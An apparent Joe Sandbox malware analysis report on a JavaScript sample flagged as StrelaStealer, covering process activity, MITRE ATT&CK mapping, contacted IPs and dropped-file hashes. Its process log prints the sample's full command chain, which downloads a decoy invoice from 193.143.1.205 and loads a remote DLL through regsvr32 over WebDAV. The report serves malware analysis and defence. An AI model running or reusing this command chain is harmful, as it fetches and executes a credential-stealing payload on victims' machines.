Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7003183412181430311.js	11%	Virustotal		Browse
7003183412181430311.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/U	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/7#	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3005077388.000001B7C3000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/7#	net.exe, 00000006.00000002.1784375423.0000027F557AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/U	net.exe, 00000006.00000002.1784375423.0000027F55778000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1790147088.000001B7C32C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1784375423.0000027F557AA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1790147088.000001B7C32C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588750
Start date and time:	2025-01-11 05:01:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7003183412181430311.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 50.16.47.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 4.245.163.56, 104.78.188.188, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:02:26	API Interceptor	21x Sleep call for process: powershell.exe modified
23:02:29	API Interceptor	1x Sleep call for process: net.exe modified
23:02:30	API Interceptor	2x Sleep call for process: svchost.exe modified
23:02:42	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1012716259541818656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23858205001607627322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073575224989733
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrX:KooCEYhgYEL0In
MD5:	08A262681FC264DB1397D1D0A25285E0
SHA1:	0E9F0A323900BC0F9202751A5BE8F04E994770A9
SHA-256:	3EA62C543D42AFF6BF2EA0AD8175836DE5FB11867C20067CE45A4088773573E6
SHA-512:	F80D34BDF21AFC5EF9066D0B4DBA36E0822EFCDD78FF80929569BBA12648C8E8B71C46C4724618E910C98F0B1C31A1E37E0374302EF8895EE23D41C08495C5A2
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf3ccd544, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42216099194266543
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	347E02BAF59009785668E220BDD4225A
SHA1:	3487BBBB5FE3EFC95066169D2ACB075507834B14
SHA-256:	4681604691F068939DC3CB980D1502DE0EFBD1F8F84B7D0B443E1D17D26D4ECF
SHA-512:	AD30C73A2570814FACDF58094E53144041A34FDC0776C0BA0DEF763B02652721BDBF1677DFF526C307E231604C49667E998B9009E49AD6895E4F13E401ACFBC2
Malicious:	false
Preview:	...D... .......A.......X\...;...{......................0.!..........{A."....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{......................................"....}...................."....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07657424140924843
Encrypted:	false
SSDEEP:	3:1fdYew4tukjn13a/oGp1l/lollcVO/lnlZMxZNQl:pdz7v53qoGpvGOewk
MD5:	4CD834F3DF86B817FF2C67AA359F2187
SHA1:	1742AB55DD733B076CA3B0ACD8E6882DC2915A00
SHA-256:	93669C951552A5D07734AA0C08274FDCD824FFE50CCF590110BD04D27A153CE2
SHA-512:	09DD98DBD49D9CD9F5B0071EA5CEF72A09FBCE0962134EBCB6493600F6BB816EC6EFB37E98FA8F1C5164E9504D395659EB11C9F0CB47583CD0D22457ABD37F12
Malicious:	false
Preview:	.........................................;...{.."....}.......{A..............{A......{A..........{A].................."....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2032534648802615
Encrypted:	false
SSDEEP:	6:iO4q6WjIq2Pwkn2nKuAl9OmbnIFUtSqRZZmwsqRzkwOwkn2nKuAl9OmbjLJ:7ojvYfHAahFUt3/n5JfHAaSJ
MD5:	80715BC86A6368C931F82733B4D819A5
SHA1:	0295CC52F940E1E9E3B17934DB8896E9E69135E5
SHA-256:	406685DE58AA308622480949AF59A52827B4E83FD91F5754427B6D299899A1FD
SHA-512:	C97091C45FADD237628A100A8105D7F22B6485D322BF79DBECB7C4B203E2CF807643522F71F68B1B583C771363A0C72EB1D201C7895B3A9373515DC5CA905EB6
Malicious:	false
Preview:	2025/01/10-23:02:29.745 1cd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:02:29.747 1cd4 Recovering log #3.2025/01/10-23:02:29.747 1cd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2032534648802615
Encrypted:	false
SSDEEP:	6:iO4q6WjIq2Pwkn2nKuAl9OmbnIFUtSqRZZmwsqRzkwOwkn2nKuAl9OmbjLJ:7ojvYfHAahFUt3/n5JfHAaSJ
MD5:	80715BC86A6368C931F82733B4D819A5
SHA1:	0295CC52F940E1E9E3B17934DB8896E9E69135E5
SHA-256:	406685DE58AA308622480949AF59A52827B4E83FD91F5754427B6D299899A1FD
SHA-512:	C97091C45FADD237628A100A8105D7F22B6485D322BF79DBECB7C4B203E2CF807643522F71F68B1B583C771363A0C72EB1D201C7895B3A9373515DC5CA905EB6
Malicious:	false
Preview:	2025/01/10-23:02:29.745 1cd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:02:29.747 1cd4 Recovering log #3.2025/01/10-23:02:29.747 1cd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.206993731017587
Encrypted:	false
SSDEEP:	6:iO4qZQL+q2Pwkn2nKuAl9Ombzo2jMGIFUtSq4QG1Zmwsq4QQLVkwOwkn2nKuAl97:7EyvYfHAa8uFUto/yR5JfHAa8RJ
MD5:	82A5D93FC6E6E76BD7714DE6A12FE8B1
SHA1:	500450C9C8D4DFD4AF148A7B7D27874F9FC63F27
SHA-256:	7DD2514B1CF16B24C12D7106E4999CEF435FF28414EA9A0315F94DA18E424B05
SHA-512:	C32047DC15CABF0052BCFB157A61C7ADC5857D9AB9F5B49139977F62424C9A4227E6C191A7AD3686611717964B1C26026507948376FAEBF620C62C35839CD1B3
Malicious:	false
Preview:	2025/01/10-23:02:29.784 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:02:29.786 1d18 Recovering log #3.2025/01/10-23:02:29.786 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.206993731017587
Encrypted:	false
SSDEEP:	6:iO4qZQL+q2Pwkn2nKuAl9Ombzo2jMGIFUtSq4QG1Zmwsq4QQLVkwOwkn2nKuAl97:7EyvYfHAa8uFUto/yR5JfHAa8RJ
MD5:	82A5D93FC6E6E76BD7714DE6A12FE8B1
SHA1:	500450C9C8D4DFD4AF148A7B7D27874F9FC63F27
SHA-256:	7DD2514B1CF16B24C12D7106E4999CEF435FF28414EA9A0315F94DA18E424B05
SHA-512:	C32047DC15CABF0052BCFB157A61C7ADC5857D9AB9F5B49139977F62424C9A4227E6C191A7AD3686611717964B1C26026507948376FAEBF620C62C35839CD1B3
Malicious:	false
Preview:	2025/01/10-23:02:29.784 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:02:29.786 1d18 Recovering log #3.2025/01/10-23:02:29.786 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.968694759048396
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqqhsBdOg2Hbcaq3QYiubInP7E4T3y:Y2sRdsdydMHi3QYhbG7nby
MD5:	8C0C7C63027491C1C3F9D4CB859E5D25
SHA1:	3967CECCE962F11DA567A5D26B04DB4467DDB51A
SHA-256:	2771A985A17B3694102F77E8E1AA720F3EA9DEB13FDAB0696F9980FA1000E7E0
SHA-512:	FC33C3B42FF6FC4A6EFBA57697B035148F2F68FF7EAABF5431308412B2CE3C50FBC82793CF07CEC75008B204C1FFAA35D06B2DC3757B386A7BC8419679A1E731
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128162050706","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125885},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ec989bec-82ba-4493-b70e-eeb5e21673b7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.968694759048396
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqqhsBdOg2Hbcaq3QYiubInP7E4T3y:Y2sRdsdydMHi3QYhbG7nby
MD5:	8C0C7C63027491C1C3F9D4CB859E5D25
SHA1:	3967CECCE962F11DA567A5D26B04DB4467DDB51A
SHA-256:	2771A985A17B3694102F77E8E1AA720F3EA9DEB13FDAB0696F9980FA1000E7E0
SHA-512:	FC33C3B42FF6FC4A6EFBA57697B035148F2F68FF7EAABF5431308412B2CE3C50FBC82793CF07CEC75008B204C1FFAA35D06B2DC3757B386A7BC8419679A1E731
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128162050706","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125885},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.251343490003102
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7iB7fG:etJCV4FiN/jTN/2r8Mta02fEhgO73goD
MD5:	D457356A26AEF0569AAEC90252FFE4D6
SHA1:	8A8EAB702254D33DD919E41B6032967F45D1DBB8
SHA-256:	DD93F976CC321E786F60CF1E70B8FB6FE3BBF0887C11EC0FBB1801CCA339EFBB
SHA-512:	6B4F3FC508018ABA21EE2FC1BF3BACA016E70EDBB71A71646A4CBED6EFCE7CB12C2BC96571650237798CA1728AF95C3531AB84ADCC2C55AE1D06791E5860BF3F
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.143369666923343
Encrypted:	false
SSDEEP:	6:iO4qtnYSQL+q2Pwkn2nKuAl9OmbzNMxIFUtSqtnniQG1Zmwsqtn4xQLVkwOwkn2v:7zYjyvYfHAa8jFUtRnu/nzR5JfHAa84J
MD5:	DF92C8AA8DF3283A1A940FF3B5E444A3
SHA1:	B8579C0AAA8D28CD3FD621FC2A7F877BF60E119B
SHA-256:	46E58756D3A03408CBB90ACDBC1B024E42711048AED416BDB34A980295299330
SHA-512:	3B630843F1E6C8BF967597B275AC21C4474F661666C2E538A7365F864BD05916B98A8621BBD58820EE16C669052EDB12DACC7B645EC48C26E79231D136559491
Malicious:	false
Preview:	2025/01/10-23:02:30.621 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:02:30.623 1d18 Recovering log #3.2025/01/10-23:02:30.624 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.143369666923343
Encrypted:	false
SSDEEP:	6:iO4qtnYSQL+q2Pwkn2nKuAl9OmbzNMxIFUtSqtnniQG1Zmwsqtn4xQLVkwOwkn2v:7zYjyvYfHAa8jFUtRnu/nzR5JfHAa84J
MD5:	DF92C8AA8DF3283A1A940FF3B5E444A3
SHA1:	B8579C0AAA8D28CD3FD621FC2A7F877BF60E119B
SHA-256:	46E58756D3A03408CBB90ACDBC1B024E42711048AED416BDB34A980295299330
SHA-512:	3B630843F1E6C8BF967597B275AC21C4474F661666C2E538A7365F864BD05916B98A8621BBD58820EE16C669052EDB12DACC7B645EC48C26E79231D136559491
Malicious:	false
Preview:	2025/01/10-23:02:30.621 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:02:30.623 1d18 Recovering log #3.2025/01/10-23:02:30.624 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444747707207233
Encrypted:	false
SSDEEP:	384:yezci5t0iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rjs3OazzU89UTTgUL
MD5:	F41C30F0A8D8FC4C402A5D4C6DE261D3
SHA1:	CCC81050DE7B61C42863EED200014EC9725279B4
SHA-256:	B1513B33D2BD5E0B5010B3F6FC21E3D55878956A5F9608649D03BE9AD9FFC030
SHA-512:	DF98BE4D9CA6F18D4323E037B287F1FAB3525F1E4DC778C761A74C8313C58D59D50CCCC08AA70771F64DB423C774688C8F53C07D18A34712EF234BBD28811560
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7726246245068995
Encrypted:	false
SSDEEP:	48:7MCp/E2ioyV8ioy9oWoy1Cwoy1oKOioy1noy1AYoy1Wioy1hioybioyqoy1noy1u:7Vpju8FvXKQnob9IVXEBodRBk/
MD5:	7C42D6D86C48E2BE99091AB91E66671D
SHA1:	E3917E58171CCA8A805035C5D7E2862BDFCC082E
SHA-256:	4FF7E26E1F40229523ABE7B8F236AFEB361B17B885E9201C20D08D3F7FFDB168
SHA-512:	05B036C59AC5124E58215CEC3B8208A6B7A2536741A78FCEAA2EF7D48AB93B8B1F3C31964DE3A67C717B763241B197A3370D8EFC6CB33F94F1A7FB5F0B7C97CE
Malicious:	false
Preview:	.... .c........i...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

